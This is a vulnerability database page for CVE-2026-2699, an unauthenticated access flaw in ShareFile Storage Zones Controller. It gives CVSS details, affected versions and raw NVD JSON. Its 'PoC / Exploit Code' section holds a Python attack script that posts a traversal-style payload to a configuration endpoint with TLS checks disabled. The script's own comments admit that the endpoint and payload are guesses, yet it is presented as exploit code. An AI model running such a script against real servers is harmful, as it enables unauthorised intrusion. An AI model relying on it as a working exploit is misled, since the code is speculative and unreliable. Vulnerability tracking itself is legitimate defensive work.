Security Vulnerability Report
中文
CVE-2026-2699 CVSS 9.8 CRITICAL

CVE-2026-2699

Published: 2026-04-02 14:16:28
Last Modified: 2026-04-21 00:26:13

Description

Customer Managed ShareFile Storage Zones Controller (SZC) allows an unauthenticated attacker to access restricted configuration pages. This leads to changing system configuration and potential remote code execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:progress:sharefile_storage_zones_controller:*:*:*:*:*:*:*:* - VULNERABLE
Citrix ShareFile Storage Zones Controller 5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_url): """ Proof of Concept for CVE-2026-2699 Attempts to access restricted configuration and modify settings. """ # The vulnerable endpoint might be a configuration page # Example based on the description of accessing restricted config pages config_url = f"{target_url}/Configuration/ServiceProvider.aspx" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload to change configuration (Hypothetical payload) # This attempts to alter a setting that could lead to RCE payload = { "TxtBox": "../../malicious_path", "BtnSave": "Save" } try: print(f"[*] Attempting to exploit {target_url}...") response = requests.post(config_url, data=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200 and "Success" in response.text: print("[+] Potential vulnerability confirmed! Configuration changed.") elif response.status_code == 200: print("[!] Request sent, check if configuration was modified.") else: print(f"[-] Exploit failed or patched. Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-szc-server" exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2699", "sourceIdentifier": "[email protected]", "published": "2026-04-02T14:16:27.697", "lastModified": "2026-04-21T00:26:13.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Customer Managed ShareFile Storage Zones Controller (SZC) allows an unauthenticated attacker to access restricted configuration pages. This leads to changing system configuration and potential remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-698"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:progress:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.12.4", "matchCriteriaId": "7E529EF7-C595-44DE-AC65-65823643EBCD"}]}]}], "references": [{"url": "https://docs.sharefile.com/en-us/storage-zones-controller/5-0/security-vulnerability-feb26", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/watchtowrlabs/watchTowr-vs-Progress-ShareFile-CVE-2026-2699", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}